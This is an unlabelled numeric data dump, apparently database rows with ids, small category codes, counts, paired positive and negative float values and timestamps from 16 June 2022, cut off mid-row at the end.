+23149,1,8754,20.06937838,-20.06937838,2022-06-16 11:37:29.052319+00 +21793,2,8686,8.999909787,-8.999909787,2022-06-16 11:31:05.175288+00 +20269,3,8448,9.026427677,-9.026427677,2022-06-16 11:22:30.527646+00 +23150,1,8698,21.04677046,-21.04677046,2022-06-16 11:37:29.053149+00 +23151,1,8810,15.43631267,-15.43631267,2022-06-16 11:37:29.053974+00 +23152,1,8618,15.35008678,-15.35008678,2022-06-16 11:37:29.054764+00 +23153,1,8690,19.83558766,-19.83558766,2022-06-16 11:37:29.055592+00 +20341,2,8415,9.579644067,-9.579644067,2022-06-16 11:23:04.863249+00 +23155,1,8762,20.82016263,-20.82016263,2022-06-16 11:37:29.056232+00 +20354,2,8431,10.1419256,-10.1419256,2022-06-16 11:23:05.175369+00 +21897,6,8671,12.99913362,-12.99913362,2022-06-16 11:31:47.567864+00 +23156,1,8794,20.70367314,-20.70367314,2022-06-16 11:37:29.057086+00 +23157,1,8818,19.63025624,-19.63025624,2022-06-16 11:37:29.058261+00 +23158,1,8826,20.62075199,-20.62075199,2022-06-16 11:37:29.059203+00 +23159,1,8634,20.52442135,-20.52442135,2022-06-16 11:37:29.060092+00 +23160,1,8730,20.45259596,-20.45259596,2022-06-16 11:37:29.060912+00 +23161,1,8626,19.37417495,-19.37417495,2022-06-16 11:37:29.061752+00 +23162,1,8682,14.83546868,-14.83546868,2022-06-16 11:37:29.062633+00 +23163,1,8746,14.75397377,-14.75397377,2022-06-16 11:37:29.063593+00 +22047,6,8688,1.724691496,0,2022-06-16 11:32:19.705248+00 +28585,1,9565,10.34320766,-10.34320766,2022-06-16 11:58:59.134513+00 +28586,1,9504,6.673603923,-6.673603923,2022-06-16 11:58:59.135329+00 +63908,6,15262,8.195977038,-8.195977038,2022-06-16 14:56:59.27515+00 +25027,3,9135,16.01636614,-16.01636614,2022-06-16 11:46:07.767956+00 +25028,3,9199,15.92075187,-15.92075187,2022-06-16 11:46:07.772855+00 +20496,3,8301,10.51984214,-10.51984214,2022-06-16 11:24:10.688503+00 +28665,4,9559,15.67576324,-15.67576324,2022-06-16 11:59:10.93517+00 +28666,4,9558,16.53112399,-16.53112399,2022-06-16 11:59:10.936564+00 +25120,1,9146,19.39983502,-19.39983502,2022-06-16 11:46:38.11736+00 +25121,1,9138,18.34889541,-18.34889541,2022-06-16 11:46:38.120957+00 +25122,1,9114,19.28602948,-19.28602948,2022-06-16 11:46:38.121793+00 +25123,1,9130,13.22760935,-13.22760935,2022-06-16 11:46:38.122537+00 +23409,2,8893,6.848532973,-6.848532973,2022-06-16 11:38:24.545999+00 +22252,6,8746,12.71707245,-12.71707245,2022-06-16 11:33:35.067355+00 +23430,6,8909,14.33280279,-14.33280279,2022-06-16 11:38:40.119895+00 +28667,4,9551,17.16229258,-17.16229258,2022-06-16 11:59:10.937306+00 +20566,2,8445,7.434545253,-7.434545253,2022-06-16 11:24:19.433528+00 +28668,4,9550,17.36100944,-17.36100944,2022-06-16 11:59:10.938282+00 +20571,4,8403,9.759866169,-9.759866169,2022-06-16 11:24:19.549485+00 +20572,4,8435,11.09285456,-11.09285456,2022-06-16 11:24:19.5529+00 +20573,4,8395,14.01548732,-14.01548732,2022-06-16 11:24:19.553762+00 +20574,4,8443,3.570631027,-3.570631027,2022-06-16 11:24:19.554547+00 +20575,4,8427,3.653997926,-3.653997926,2022-06-16 11:24:19.555414+00 +20577,4,8411,5.041563297,-5.041563297,2022-06-16 11:24:19.556171+00 +25194,2,9136,1.564643461,0,2022-06-16 11:47:04.481582+00 +23494,2,8942,8.362745829,-8.362745829,2022-06-16 11:39:05.223403+00 +56709,6,14397,1.435142294,-1.435142294,2022-06-16 14:28:30.293708+00 +20590,2,8490,9.639454768,-9.639454768,2022-06-16 11:24:25.436256+00 +60155,2,14784,3.059604761,-3.059604761,2022-06-16 14:43:05.247231+00 +30728,1,9576,17.14940148,-17.14940148,2022-06-16 12:09:44.220766+00 +20613,1,8509,6.109571153,-6.109571153,2022-06-16 11:24:38.006311+00 +20614,1,8493,5.932995532,-5.932995532,2022-06-16 11:24:38.009597+00 +30729,1,9768,17.09162526,-17.09162526,2022-06-16 12:09:44.225083+00 +20625,3,8512,8.930633845,-8.930633845,2022-06-16 11:24:47.071421+00 +20634,4,8408,10.03120973,-10.03120973,2022-06-16 11:24:57.920085+00 +23537,2,8891,7.132152977,-7.132152977,2022-06-16 11:39:14.513969+00 +20641,6,8493,4.929842743,-4.929842743,2022-06-16 11:25:01.140335+00 +22374,1,8829,5.614464272,-5.614464272,2022-06-16 11:34:08.046674+00 +22376,1,8797,10.74301528,-10.74301528,2022-06-16 11:34:08.050238+00 +22377,1,8813,5.440955123,-5.440955123,2022-06-16 11:34:08.051996+00 +25278,2,9133,6.332752366,-6.332752366,2022-06-16 11:47:14.409662+00 +20651,2,8432,1.542520411,-0.182611574,2022-06-16 11:25:04.452879+00 +27273,3,9083,12.45834611,-12.45834611,2022-06-16 11:53:20.767088+00 +27274,3,9147,12.37140045,-12.37140045,2022-06-16 11:53:20.770442+00 +20656,2,8448,5.656712792,-5.656712792,2022-06-16 11:25:04.573384+00 +27275,3,9211,12.28519007,-12.28519007,2022-06-16 11:53:20.771311+00 +27276,3,9275,12.19970924,-12.19970924,2022-06-16 11:53:20.772234+00 +27277,3,9339,12.11495221,-12.11495221,2022-06-16 11:53:20.773068+00 +28774,3,9533,8.870423153,-8.870423153,2022-06-16 11:59:29.741817+00 +22446,4,8755,10.77666532,-10.77666532,2022-06-16 11:34:19.082324+00 +20668,2,8479,9.460636906,-9.460636906,2022-06-16 11:25:04.873043+00 +30730,1,9832,17.03403685,-17.03403685,2022-06-16 12:09:44.226164+00 +32831,6,10287,8.586753788,-8.586753788,2022-06-16 12:20:24.892888+00 +35041,3,10622,11.02199229,-11.02199229,2022-06-16 12:32:04.856547+00 +30807,6,9966,9.851557672,-9.851557672,2022-06-16 12:10:07.507125+00 +35043,3,10686,10.94921545,-10.94921545,2022-06-16 12:32:04.860841+00 +39626,2,11423,8.095734193,-8.095734193,2022-06-16 12:57:05.026335+00 +22620,2,8831,6.916053919,-6.916053919,2022-06-16 11:35:05.418908+00 +26405,2,9327,7.902891011,-7.902891011,2022-06-16 11:51:05.148771+00 +28039,6,9519,10.52707591,-10.52707591,2022-06-16 11:56:08.999355+00 +19152,6,8190,12.40685644,-12.40685644,2022-06-16 11:15:32.978236+00 +37071,6,11007,5.708914671,-5.708914671,2022-06-16 12:43:12.461716+00 +28161,1,9458,16.99590691,-16.99590691,2022-06-16 11:56:44.108733+00 +19156,6,8191,12.05019623,-12.05019623,2022-06-16 11:15:33.069597+00 +28162,1,9434,17.97318598,-17.97318598,2022-06-16 11:56:44.112172+00 +19675,1,7977,10.82762969,-10.82762969,2022-06-16 11:18:46.951827+00 +19676,1,7985,11.00420701,-11.00420701,2022-06-16 11:18:46.955548+00 +19677,1,7961,10.90585827,-10.90585827,2022-06-16 11:18:46.956408+00 +19678,1,7993,10.77236582,-10.77236582,2022-06-16 11:18:46.957237+00 +28163,1,9466,18.04529813,-18.04529813,2022-06-16 11:56:44.113082+00 +21396,2,8623,9.560749076,-9.560749076,2022-06-16 11:29:05.066044+00 +24680,4,9043,9.046170902,-9.046170902,2022-06-16 11:44:28.020035+00 +22879,6,8861,8.823130852,-8.823130852,2022-06-16 11:36:09.595641+00 +28185,1,9518,6.461515776,-6.461515776,2022-06-16 11:56:53.095535+00 +28186,1,9519,6.469850713,-6.469850713,2022-06-16 11:56:53.096851+00 +28187,1,9502,7.544751077,-7.544751077,2022-06-16 11:56:53.097783+00 +24810,2,9118,8.485917955,-8.485917955,2022-06-16 11:45:04.698565+00 +19906,1,8319,6.793001274,-6.793001274,2022-06-16 11:20:13.96916+00 +19907,1,8383,6.770342984,-6.770342984,2022-06-16 11:20:13.973532+00 +19908,1,8381,6.510700501,-6.510700501,2022-06-16 11:20:13.974562+00 +19909,1,8365,6.32344093,-6.32344093,2022-06-16 11:20:13.975669+00 +19910,1,8373,18.94582417,-18.94582417,2022-06-16 11:20:13.976612+00 +19911,1,8350,8.336309362,-8.336309362,2022-06-16 11:20:13.977613+00 +19912,1,8349,11.0795778,-11.0795778,2022-06-16 11:20:13.97863+00 +19913,1,8318,7.044709803,-7.044709803,2022-06-16 11:20:13.979426+00 +19914,1,8357,17.29883113,-17.29883113,2022-06-16 11:20:13.980201+00 +28188,1,9534,5.053375373,-5.053375373,2022-06-16 11:56:53.098648+00 +28189,1,9503,7.464571028,-7.464571028,2022-06-16 11:56:53.09928+00 +28190,1,9535,4.949429686,-4.949429686,2022-06-16 11:56:53.099953+00 +23108,3,8896,8.418242621,-8.418242621,2022-06-16 11:37:20.696561+00 +21682,2,8678,16.71489231,-16.71489231,2022-06-16 11:30:14.593925+00 +39702,6,11439,6.499216102,-6.499216102,2022-06-16 12:57:16.736652+00 +32405,1,10221,4.23378394,-4.23378394,2022-06-16 12:18:11.241894+00 +21746,1,8640,3.015186798,-3.015186798,2022-06-16 11:30:47.011215+00 +21747,1,8624,0.783455344,0,2022-06-16 11:30:47.014877+00 +32406,1,10237,4.350236019,-4.350236019,2022-06-16 12:18:11.245319+00 +32428,6,10155,4.968250816,-4.968250816,2022-06-16 12:18:19.428489+00 +60048,1,14768,0.454386202,0,2022-06-16 14:42:36.111386+00 +34774,2,10557,5.528832217,-5.528832217,2022-06-16 12:30:19.428817+00 +60049,1,14784,0.755679005,-0.755679005,2022-06-16 14:42:36.114718+00 +20199,6,8368,1.941189463,-1.941189463,2022-06-16 11:22:05.490693+00 +25089,6,9199,11.35815604,-11.35815604,2022-06-16 11:46:25.230838+00 +56712,1,14299,5.502170099,-5.502170099,2022-06-16 14:28:32.979041+00 +32684,3,10224,2.638756944,0,2022-06-16 12:19:53.330167+00 +25146,3,9214,13.27936812,-13.27936812,2022-06-16 11:46:44.494907+00 +20270,1,8384,3.346212149,-3.346212149,2022-06-16 11:22:31.960857+00 +20271,1,8368,0.915729734,-0.915729734,2022-06-16 11:22:31.964224+00 +20282,6,8445,5.175313203,-5.175313203,2022-06-16 11:22:39.699771+00 +39983,6,11411,13.58961311,-13.58961311,2022-06-16 12:58:48.611616+00 +25174,6,9181,8.387055684,-8.387055684,2022-06-16 11:46:50.616044+00 +20329,2,8384,5.654453215,-5.654453215,2022-06-16 11:23:04.585522+00 +19204,1,8120,11.05818665,-11.05818665,2022-06-16 11:15:49.945928+00 +32761,6,10261,10.46639931,-10.46639931,2022-06-16 12:20:07.509934+00 +23431,1,8933,16.37953482,-16.37953482,2022-06-16 11:38:44.052082+00 +20356,2,8446,8.084913437,-8.084913437,2022-06-16 11:23:05.206958+00 +23432,1,8925,10.62316831,-10.62316831,2022-06-16 11:38:44.055438+00 +20367,2,8447,7.794449979,-7.794449979,2022-06-16 11:23:05.510558+00 +20377,2,8363,7.779351481,-7.779351481,2022-06-16 11:23:14.562479+00 +23433,1,8957,5.392393859,-5.392393859,2022-06-16 11:38:44.056353+00 +22070,6,8717,14.66657427,-14.66657427,2022-06-16 11:32:58.236992+00 +20405,6,8414,13.48858029,-13.48858029,2022-06-16 11:23:39.886088+00 +22086,2,8704,5.467749895,-5.467749895,2022-06-16 11:33:04.570794+00 +23434,1,8941,5.237091611,-5.237091611,2022-06-16 11:38:44.057135+00 +23449,6,8880,1.747806305,0,2022-06-16 11:38:49.054224+00 +32785,1,10201,8.297264315,-8.297264315,2022-06-16 12:20:17.24538+00 +32786,1,10240,1.853992614,-1.853992614,2022-06-16 12:20:17.246696+00 +32787,1,10224,0.637531221,0,2022-06-16 12:20:17.247519+00 +32788,1,10233,8.192363169,-8.192363169,2022-06-16 12:20:17.248304+00 +32789,1,10217,8.181124613,-8.181124613,2022-06-16 12:20:17.249057+00 +22182,6,8765,4.534604616,-4.534604616,2022-06-16 11:33:12.144617+00 +32790,1,10209,9.127046046,-9.127046046,2022-06-16 12:20:17.249864+00 +20498,3,8365,10.43768506,-10.43768506,2022-06-16 11:24:10.836652+00 +23538,4,8792,9.691562263,-9.691562263,2022-06-16 11:39:14.622349+00 +22217,6,8734,13.24150727,-13.24150727,2022-06-16 11:33:24.971794+00 +30808,6,9982,7.875129362,-7.875129362,2022-06-16 12:10:07.608434+00 +56713,1,14315,1.014927872,-1.014927872,2022-06-16 14:28:32.98258+00 +27385,3,9195,12.71629769,-12.71629769,2022-06-16 11:53:54.418719+00 +27386,3,9259,12.62896545,-12.62896545,2022-06-16 11:53:54.421776+00 +27387,3,9323,12.54235957,-12.54235957,2022-06-16 11:53:54.422614+00 +22274,3,8701,10.17829585,-10.17829585,2022-06-16 11:34:03.953771+00 +23593,3,8942,16.31853045,-16.31853045,2022-06-16 11:39:39.840227+00 +56714,1,14331,0.904836888,-0.904836888,2022-06-16 14:28:32.98347+00 +49396,6,13056,4.081268516,-4.081268516,2022-06-16 13:48:50.388919+00 +30902,3,9618,19.88022892,-19.88022892,2022-06-16 12:10:26.196008+00 +20576,2,8429,7.226973071,-7.226973071,2022-06-16 11:24:19.553049+00 +30918,1,9915,3.723684891,-3.723684891,2022-06-16 12:10:38.189352+00 +28914,6,9629,7.955857884,-7.955857884,2022-06-16 12:00:10.697472+00 +27527,6,9429,11.51865823,-11.51865823,2022-06-16 11:54:20.152519+00 +25535,6,9261,3.677840182,-3.677840182,2022-06-16 11:48:34.522839+00 +25558,1,9245,10.414007,-10.414007,2022-06-16 11:48:50.107219+00 +19243,4,8192,2.835480955,-2.835480955,2022-06-16 11:16:06.899752+00 +19244,4,8176,0.907458038,-0.907458038,2022-06-16 11:16:06.906282+00 +19245,4,8246,11.9036276,-11.9036276,2022-06-16 11:16:09.682945+00 +19246,4,8247,11.87015274,-11.87015274,2022-06-16 11:16:09.686152+00 +19247,4,8189,6.288022939,-6.288022939,2022-06-16 11:16:09.687001+00 +19248,4,8173,6.105029477,-6.105029477,2022-06-16 11:16:09.687813+00 +20606,6,8187,6.504820408,-6.504820408,2022-06-16 11:24:27.350349+00 +20607,6,8251,6.480361126,-6.480361126,2022-06-16 11:24:27.354126+00 +20608,6,8315,6.456039653,-6.456039653,2022-06-16 11:24:27.355157+00 +20609,6,8379,6.431854967,-6.431854967,2022-06-16 11:24:27.356177+00 +19253,6,8237,5.186132457,-5.186132457,2022-06-16 11:16:09.912468+00 +20610,6,8443,6.407806053,-6.407806053,2022-06-16 11:24:27.357118+00 +20615,1,8427,4.839220819,-4.839220819,2022-06-16 11:24:44.00563+00 +20616,1,8443,4.726482761,-4.726482761,2022-06-16 11:24:44.008863+00 +20620,1,8477,10.99126881,-10.99126881,2022-06-16 11:24:47.00364+00 +19258,6,8176,2.27150464,-2.27150464,2022-06-16 11:16:10.30521+00 +20621,1,8501,18.59391454,-18.59391454,2022-06-16 11:24:47.00673+00 +20622,1,8344,11.59116753,-11.59116753,2022-06-16 11:24:47.007597+00 +20626,6,8362,13.39529531,-13.39529531,2022-06-16 11:24:47.958926+00 +20635,1,8376,10.6088253,-10.6088253,2022-06-16 11:24:59.006503+00 +19263,6,8192,6.51681005,-6.51681005,2022-06-16 11:16:10.526406+00 +19264,4,8222,9.323287667,-9.323287667,2022-06-16 11:16:11.379571+00 +19265,4,8159,9.250220768,-9.250220768,2022-06-16 11:16:11.380686+00 +19266,4,8223,9.214186244,-9.214186244,2022-06-16 11:16:11.381468+00 +19267,4,8239,10.1791551,-10.1791551,2022-06-16 11:16:11.382149+00 +19268,4,8255,7.773791784,-7.773791784,2022-06-16 11:16:11.38283+00 +24326,2,9055,8.997588107,-8.997588107,2022-06-16 11:43:04.864147+00 +60050,1,14776,7.352337639,-7.352337639,2022-06-16 14:42:36.115525+00 +28102,2,9469,6.107986043,-6.107986043,2022-06-16 11:56:19.401144+00 +19273,6,8253,5.33482826,-5.33482826,2022-06-16 11:16:11.996279+00 +37145,3,10939,8.543886684,-8.543886684,2022-06-16 12:43:38.638618+00 +24505,6,8723,15.40720222,-15.40720222,2022-06-16 11:43:34.902606+00 +24506,6,8787,15.34026318,-15.34026318,2022-06-16 11:43:34.906037+00 +21319,6,8623,13.36382733,-13.36382733,2022-06-16 11:28:33.326222+00 +24507,6,8851,15.27365301,-15.27365301,2022-06-16 11:43:34.906915+00 +24508,6,8915,15.20737152,-15.20737152,2022-06-16 11:43:34.907747+00 +19739,6,8301,5.128337428,-5.128337428,2022-06-16 11:19:02.899929+00 +22880,4,8829,5.673590579,-5.673590579,2022-06-16 11:36:10.577834+00 +19795,2,8235,7.916834148,-7.916834148,2022-06-16 11:19:14.424566+00 +22881,4,8813,5.510873941,-5.510873941,2022-06-16 11:36:10.580866+00 +21461,2,8555,7.531485933,-7.531485933,2022-06-16 11:29:14.578487+00 +24509,6,8979,15.14141847,-15.14141847,2022-06-16 11:43:34.908635+00 +28164,2,9195,7.085886171,-7.085886171,2022-06-16 11:56:44.290453+00 +24589,4,9088,2.281124838,-2.281124838,2022-06-16 11:44:06.162658+00 +24590,4,9072,0.635888672,0,2022-06-16 11:44:06.167326+00 +24591,4,9134,8.017865643,-8.017865643,2022-06-16 11:44:06.168598+00 +23086,2,8895,6.758060653,-6.758060653,2022-06-16 11:37:05.33625+00 +23109,7,8682,11.37299675,-11.37299675,2022-06-16 11:37:22.459564+00 +20049,2,8366,10.38701295,-10.38701295,2022-06-16 11:21:04.665612+00 +21656,6,8687,13.19929658,-13.19929658,2022-06-16 11:30:10.687223+00 +24592,4,9118,8.5952759,-8.5952759,2022-06-16 11:44:06.169652+00 +28165,2,9259,7.055225194,-7.055225194,2022-06-16 11:56:44.294285+00 +28166,2,9323,7.0247559,-7.0247559,2022-06-16 11:56:44.295155+00 +24681,1,9088,2.650231138,-2.650231138,2022-06-16 11:44:32.100754+00 +24682,1,9072,0.748554891,0,2022-06-16 11:44:32.103977+00 +28167,2,9387,6.99447673,-6.99447673,2022-06-16 11:56:44.295981+00 +21819,2,8619,7.491706646,-7.491706646,2022-06-16 11:31:14.455261+00 +24726,1,9000,17.97929103,-17.97929103,2022-06-16 11:44:47.074098+00 +21842,4,8600,9.92594591,-9.92594591,2022-06-16 11:31:17.94414+00 +28168,2,9451,6.964386139,-6.964386139,2022-06-16 11:56:44.296963+00 +28222,2,9518,6.996518053,-6.996518053,2022-06-16 11:57:04.955559+00 +23326,6,8925,8.683889067,-8.683889067,2022-06-16 11:38:08.885509+00 +30260,2,9855,5.361591444,-5.361591444,2022-06-16 12:07:05.44963+00 +32349,3,10238,11.60276036,-11.60276036,2022-06-16 12:18:04.946179+00 +30305,6,9823,11.4859983,-11.4859983,2022-06-16 12:07:27.46163+00 +39773,3,11371,8.771124258,-8.771124258,2022-06-16 12:57:46.306082+00 +28395,4,9336,8.679395314,-8.679395314,2022-06-16 11:57:56.751396+00 +22003,2,8758,12.05388998,-12.05388998,2022-06-16 11:32:09.411904+00 +32411,4,10133,13.36113603,-13.36113603,2022-06-16 12:18:14.08533+00 +22027,2,8742,16.69319703,-16.69319703,2022-06-16 11:32:14.665088+00 +28474,6,9520,1.797313933,0,2022-06-16 11:58:13.740198+00 +28517,3,9583,15.17858477,-15.17858477,2022-06-16 11:58:33.798674+00 +22071,1,8699,4.628445019,-4.628445019,2022-06-16 11:32:59.030636+00 +22072,1,8683,4.729731776,-4.729731776,2022-06-16 11:32:59.034162+00 +22088,2,8734,8.956001595,-8.956001595,2022-06-16 11:33:04.603908+00 +32412,4,10231,11.8563746,-11.8563746,2022-06-16 12:18:14.08885+00 +25063,6,9136,1.763738943,0,2022-06-16 11:46:24.143264+00 +20447,6,8170,13.55388143,-13.55388143,2022-06-16 11:23:57.705406+00 +22128,2,8767,7.088527732,-7.088527732,2022-06-16 11:33:05.4185+00 +32434,4,10230,11.90480916,-11.90480916,2022-06-16 12:18:20.876039+00 +28588,6,9557,11.28996252,-11.28996252,2022-06-16 11:59:00.131041+00 +22147,3,8768,8.569659323,-8.569659323,2022-06-16 11:33:10.087109+00 +28618,2,9566,8.182557692,-8.182557692,2022-06-16 11:59:04.986689+00 +20500,3,8429,10.35654569,-10.35654569,2022-06-16 11:24:11.017146+00 +32435,4,10163,10.1081376,-10.1081376,2022-06-16 12:18:20.877214+00 +25175,2,8938,8.067743019,-8.067743019,2022-06-16 11:46:54.428924+00 +32436,4,10171,2.088817348,-2.088817348,2022-06-16 12:18:20.878025+00 +22197,4,8608,6.378041933,-6.378041933,2022-06-16 11:33:19.328942+00 +25220,2,9199,8.097461491,-8.097461491,2022-06-16 11:47:05.109141+00 +30545,3,9787,10.77877421,-10.77877421,2022-06-16 12:08:40.008574+00 +22230,6,8750,13.09649464,-13.09649464,2022-06-16 11:33:25.498225+00 +27225,2,9375,8.728526176,-8.728526176,2022-06-16 11:53:04.829472+00 +28683,2,9531,6.476391328,-6.476391328,2022-06-16 11:59:14.572049+00 +20557,1,8169,10.54171029,-10.54171029,2022-06-16 11:24:17.015606+00 +20558,1,8153,10.63751019,-10.63751019,2022-06-16 11:24:17.019493+00 +20559,1,8185,10.50673066,-10.50673066,2022-06-16 11:24:17.020686+00 +20560,1,8177,10.68069419,-10.68069419,2022-06-16 11:24:17.021502+00 +30546,3,9851,10.7056885,-10.7056885,2022-06-16 12:08:40.011852+00 +32437,4,10123,11.98007511,-11.98007511,2022-06-16 12:18:20.878832+00 +20578,1,8432,0.868049403,-0.868049403,2022-06-16 11:24:19.978257+00 +20579,1,8448,3.253965961,-3.253965961,2022-06-16 11:24:19.981864+00 +20584,6,8432,1.800585229,-1.800585229,2022-06-16 11:24:23.497697+00 +34713,6,10607,7.841845598,-7.841845598,2022-06-16 12:30:12.241056+00 +37282,2,11005,5.250889254,-5.250889254,2022-06-16 12:44:19.540677+00 +25360,4,8850,20.82430116,-20.82430116,2022-06-16 11:47:59.635071+00 +25361,4,8914,20.73968561,-20.73968561,2022-06-16 11:47:59.638438+00 +20601,6,8171,6.690201344,-6.690201344,2022-06-16 11:24:27.253283+00 +20602,6,8235,6.664739362,-6.664739362,2022-06-16 11:24:27.254761+00 +20603,6,8299,6.639422559,-6.639422559,2022-06-16 11:24:27.256353+00 +20604,6,8363,6.614249853,-6.614249853,2022-06-16 11:24:27.257262+00 +20605,6,8427,6.589220167,-6.589220167,2022-06-16 11:24:27.258139+00 +20611,6,8298,13.46154345,-13.46154345,2022-06-16 11:24:27.454653+00 +34787,1,10531,21.46278633,-21.46278633,2022-06-16 12:30:23.351413+00 +34788,1,10523,7.090282081,-7.090282081,2022-06-16 12:30:23.354804+00 +20627,4,8344,10.06372214,-10.06372214,2022-06-16 11:24:49.872394+00 +20636,1,8485,16.95334486,-16.95334486,2022-06-16 11:24:59.009988+00 +34789,1,10539,3.645752377,-3.645752377,2022-06-16 12:30:23.355617+00 +34790,1,10555,3.127777237,-3.127777237,2022-06-16 12:30:23.356358+00 +32762,4,10224,0.637397452,0,2022-06-16 12:20:08.098663+00 +20646,6,8509,5.07078061,-5.07078061,2022-06-16 11:25:03.172173+00 +32763,4,10240,1.855059361,-1.855059361,2022-06-16 12:20:08.10238+00 +25459,2,9270,11.7799943,-11.7799943,2022-06-16 11:48:09.424146+00 +32764,4,10286,5.56551967,-5.56551967,2022-06-16 12:20:08.103382+00 +32765,4,10302,4.358665804,-4.358665804,2022-06-16 12:20:08.104195+00 +34791,1,10547,14.1882719,-14.1882719,2022-06-16 12:30:23.357085+00 +22428,6,8829,4.412790674,-4.412790674,2022-06-16 11:34:11.65913+00 +20662,2,8478,9.513913022,-9.513913022,2022-06-16 11:25:04.723622+00 +28952,6,9661,3.333547424,-3.333547424,2022-06-16 12:00:19.853198+00 +30903,4,9811,8.150100991,-8.150100991,2022-06-16 12:10:28.362925+00 +22456,4,8731,4.829343678,-4.829343678,2022-06-16 11:34:20.440277+00 +22457,4,8763,3.277636617,-3.277636617,2022-06-16 11:34:20.441482+00 +22458,4,8715,13.592748,-13.592748,2022-06-16 11:34:20.443528+00 +20674,2,8494,10.02417998,-10.02417998,2022-06-16 11:25:05.024421+00 +22459,1,8497,10.28014422,-10.28014422,2022-06-16 11:34:23.045826+00 +20677,2,8510,7.981605538,-7.981605538,2022-06-16 11:25:05.087635+00 +22460,1,8473,10.18722349,-10.18722349,2022-06-16 11:34:23.049126+00 +22461,1,8489,10.060989,-10.060989,2022-06-16 11:34:23.050303+00 +22462,1,8505,10.04497793,-10.04497793,2022-06-16 11:34:23.051224+00 +25559,1,9277,4.970001554,-4.970001554,2022-06-16 11:48:50.110519+00 +25560,1,9261,4.840003352,-4.840003352,2022-06-16 11:48:50.111412+00 +23766,1,8945,9.699261951,-9.699261951,2022-06-16 11:40:08.107508+00 +23767,1,8921,9.61133803,-9.61133803,2022-06-16 11:40:08.111542+00 +23768,1,8953,9.4912859,-9.4912859,2022-06-16 11:40:08.112837+00 +23769,1,8937,9.476818376,-9.476818376,2022-06-16 11:40:08.113855+00 +19392,3,8238,17.95472305,-17.95472305,2022-06-16 11:17:08.0247+00 +21004,6,8575,10.83089691,-10.83089691,2022-06-16 11:26:56.435623+00 +34449,2,10526,7.869896279,-7.869896279,2022-06-16 12:29:05.104723+00 +28041,6,9534,8.9292692,-8.9292692,2022-06-16 11:56:09.154051+00 +19511,3,8173,10.8551094,-10.8551094,2022-06-16 11:17:51.210778+00 +19279,3,8240,3.427380593,-3.427380593,2022-06-16 11:16:12.255472+00 +59894,6,14672,26.25003135,-26.25003135,2022-06-16 14:42:01.859358+00 +59959,4,14830,1.116655034,-1.116655034,2022-06-16 14:42:08.949127+00 +24510,6,8747,6.187957234,-6.187957234,2022-06-16 11:43:35.092955+00 +24511,6,8811,6.165048285,-6.165048285,2022-06-16 11:43:35.096182+00 +21269,2,8557,7.087479595,-7.087479595,2022-06-16 11:28:19.428451+00 +24512,6,8875,6.142266077,-6.142266077,2022-06-16 11:43:35.097028+00 +24513,6,8939,6.119609675,-6.119609675,2022-06-16 11:43:35.097866+00 +24514,6,9003,6.097078152,-6.097078152,2022-06-16 11:43:35.098716+00 +19288,4,8254,8.105398475,-8.105398475,2022-06-16 11:16:18.237287+00 +22886,4,8878,8.731277716,-8.731277716,2022-06-16 11:36:12.923132+00 +22887,4,8879,8.426828287,-8.426828287,2022-06-16 11:36:12.926502+00 +22888,4,8798,9.043031246,-9.043031246,2022-06-16 11:36:12.92736+00 +22889,4,8862,9.008249835,-9.008249835,2022-06-16 11:36:12.928262+00 +19293,2,8173,7.534967544,-7.534967544,2022-06-16 11:16:19.411898+00 +22890,4,8799,8.704705293,-8.704705293,2022-06-16 11:36:12.929197+00 +22891,4,8863,8.672190274,-8.672190274,2022-06-16 11:36:12.930998+00 +22892,4,8830,6.84516184,-6.84516184,2022-06-16 11:36:12.931864+00 +22893,4,8894,6.821067153,-6.821067153,2022-06-16 11:36:12.932599+00 +19298,2,8189,7.727824494,-7.727824494,2022-06-16 11:16:19.532206+00 +19299,4,8179,11.47711509,-11.47711509,2022-06-16 11:16:20.463164+00 +19300,4,8139,14.37374965,-14.37374965,2022-06-16 11:16:20.466529+00 +19301,4,8187,3.799092382,-3.799092382,2022-06-16 11:16:20.467865+00 +19302,4,8155,5.251291178,-5.251291178,2022-06-16 11:16:20.468622+00 +19303,4,8171,3.88377072,-3.88377072,2022-06-16 11:16:20.469326+00 +19304,1,8237,6.703451084,-6.703451084,2022-06-16 11:16:22.952611+00 +19305,1,8253,6.882164954,-6.882164954,2022-06-16 11:16:22.95586+00 +22894,4,8767,6.402189339,-6.402189339,2022-06-16 11:36:12.933302+00 +22895,4,8831,6.380619053,-6.380619053,2022-06-16 11:36:12.934053+00 +22896,4,8895,6.359161061,-6.359161061,2022-06-16 11:36:12.935103+00 +22927,3,8880,2.625371543,0,2022-06-16 11:36:22.892612+00 +21749,6,8685,4.489178945,-4.489178945,2022-06-16 11:30:48.459082+00 +19311,3,8256,9.210482395,-9.210482395,2022-06-16 11:16:24.306327+00 +19312,1,8187,4.900447133,-4.900447133,2022-06-16 11:16:28.952036+00 +19313,1,8171,5.00880361,-5.00880361,2022-06-16 11:16:28.955462+00 +19314,7,8234,12.74102368,-12.74102368,2022-06-16 11:16:34.264797+00 +19315,1,8223,8.356506348,-8.356506348,2022-06-16 11:16:34.951023+00 +19316,1,8245,19.40038176,-19.40038176,2022-06-16 11:16:34.954696+00 +19317,1,8221,11.44659316,-11.44659316,2022-06-16 11:16:34.956092+00 +19318,1,8239,9.266906351,-9.266906351,2022-06-16 11:16:34.957005+00 +19319,1,8255,7.015943036,-7.015943036,2022-06-16 11:16:34.95796+00 +19320,1,8222,8.433733949,-8.433733949,2022-06-16 11:16:34.958818+00 +19321,1,8254,7.299694464,-7.299694464,2022-06-16 11:16:34.959757+00 +19322,1,8238,9.334835865,-9.334835865,2022-06-16 11:16:34.960478+00 +19323,1,8229,17.72793021,-17.72793021,2022-06-16 11:16:34.961183+00 +19324,1,8176,1.134757768,-1.134757768,2022-06-16 11:16:37.949963+00 +19325,1,8160,7.968638688,-7.968638688,2022-06-16 11:16:37.953511+00 +22960,6,8862,13.07049535,-13.07049535,2022-06-16 11:36:40.106666+00 +59960,4,14846,1.514422922,-1.514422922,2022-06-16 14:42:08.950487+00 +24593,3,9134,15.98088377,-15.98088377,2022-06-16 11:44:06.719149+00 +52801,1,13694,1.550551826,-1.550551826,2022-06-16 14:06:44.836762+00 +37290,1,10984,16.16377302,-16.16377302,2022-06-16 12:44:23.431506+00 +34795,1,10538,7.486302081,-7.486302081,2022-06-16 12:30:26.353763+00 +23110,1,8633,9.923646626,-9.923646626,2022-06-16 11:37:23.050709+00 +20220,3,8367,17.69328821,-17.69328821,2022-06-16 11:22:09.687299+00 +20221,3,8431,17.59359935,-17.59359935,2022-06-16 11:22:09.690492+00 +23111,1,8809,9.908100778,-9.908100778,2022-06-16 11:37:23.05416+00 +19336,1,8192,3.509292414,-3.509292414,2022-06-16 